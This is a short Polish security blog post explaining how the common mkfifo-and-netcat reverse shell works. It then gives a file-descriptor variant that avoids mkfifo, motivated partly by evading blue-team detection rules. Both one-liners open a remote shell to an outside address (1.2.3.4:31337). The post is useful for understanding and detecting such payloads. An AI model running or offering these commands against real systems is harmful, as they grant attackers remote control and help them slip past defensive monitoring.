Reverse shell bez mkfifo

nfsec.pl 1 miesiąc temu

J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to dzięki telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO dzięki polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, iż jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) dzięki { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in “exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

Idź do oryginalnego materiału